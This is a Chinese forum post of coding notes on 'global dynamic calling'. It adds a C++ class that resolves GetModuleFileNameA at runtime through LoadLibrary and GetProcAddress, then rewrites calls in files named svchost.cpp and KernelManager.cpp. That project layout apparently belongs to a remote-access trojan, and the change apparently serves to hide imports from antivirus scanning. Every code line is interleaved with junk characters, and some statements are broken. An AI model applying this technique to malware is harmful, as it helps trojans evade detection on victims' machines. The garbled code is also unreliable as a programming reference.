[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记& y5 j/ {/ X. \6 ^5 y/ r. y
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h9 `  C) u. j+ l$ Y* I2 f
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: ~* G) K! ]% X2 h( \, X4 r: ZDTDY.h：5 Z8 |, T8 e) O7 w

; k  K5 b$ ~  P, X* A#if _MSC_VER>1000
9 `4 H. }- _0 ]( }7 X  r" K#pragma once
6 L7 f  [3 x) W: x#endif //_MSC_VER>1000
( r: S% D& X: b7 \# v6 c% w- y#include<windows.h>
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% O8 B# N# [" Q# ttypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);0 y  J& D1 G2 \7 b/ N
class DTDY& v' H, v" ^; f4 d# n
{
9 x2 Q( c2 k* |$ a0 U: i; x% Ypublic:
5 j( L5 f, {3 y+ g* w8 ^DTDY();
( \1 D2 u$ G% h8 R1 S  M$ k% Ivirtual ~DTDY();' L) `8 j2 }2 Z4 Q0 X* `2 C
public:
% V3 H0 @5 q3 Z/ P$ ostatic pGetModuleFileNameA MyGetModuleFileName;
0 w; c; R1 l" v/ Q& hstatic BOOL FunInitiallization();
$ r$ \* \; S0 h8 H};
8 k: ~% }! Q+ X: ~: l. s3 v4 N' m: T$ J#endif
( T7 p, A5 S+ ~# F. @' V2 \! `' P----------------------------------------
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DTDY.cpp:) J) ~& `. U$ o( {* x
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#include "DTDY.h"
1 l) G% H6 }% n7 q3 a0 ]2 MpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;7 H" ~+ r  ?, K% ]2 p& E9 p. `' x+ a
DTDY:TDY()
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DTDY::~DTDY()  c- I% l! K4 z1 `  p3 m5 \
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}
8 Q* y8 Z! Q8 \2 t% {& K& X! g- CBOOL DTDY::FunInitiallization()
! L* H8 F  Z: x3 m{
; d3 r/ Z- o* c. A- ^HMODULE hModule=LoadLibrary("kernel32.dll");
+ ^& m: Z/ m; ]! w" H& u, }- P  l& i- DMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");8 c- N+ {% W  M: [' C+ j" W/ `* e
if(!MyGetModuleFileName=) return FALSE;
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return TRUE;1 J4 ^1 E; b& @: Z* g3 G
}
2 c2 \% |/ n. J4 A8 Z, k( d% W; j/ c----------------------------------------
- Q% U2 ^/ W. gsvchost.cpp:8 k7 m5 L3 I/ n0 q' I4 }: c
; R8 g! K8 z0 g) h  d
#include "DTDY.h"* y. S2 m& M  e8 J2 P

; [1 j% P+ }  e  e6 ^BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:
$ B. Z. E' c+ w  T- Zif(!DTDY::FunInitiallization()) return FALSE;) i* z! A5 |1 j$ J

3 ^1 h$ t; c; C; I. R7 Nbreak;
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  ^$ N5 v2 P/ {2 N/ j$ u

! T& K1 t3 S8 C! OGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
4 V4 P7 S5 G& k, c1 q改写为
$ }3 u% T$ w; cDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
) Y8 l$ m3 ~+ R5 r----------------------------------------
7 i) ?* H4 O, l' k3 y) d' B3 w/ lKernelManager.cpp:
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* O3 K" X# Z( o# W) ]- w#include "../DTDY.h"
+ [/ S  k0 n1 g" T  Q% }7 IGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));! f" h7 x9 h6 V7 }/ h: y$ ]0 A% ~
改写为* P1 J+ i& o& ^6 m1 I/ Y) z0 V
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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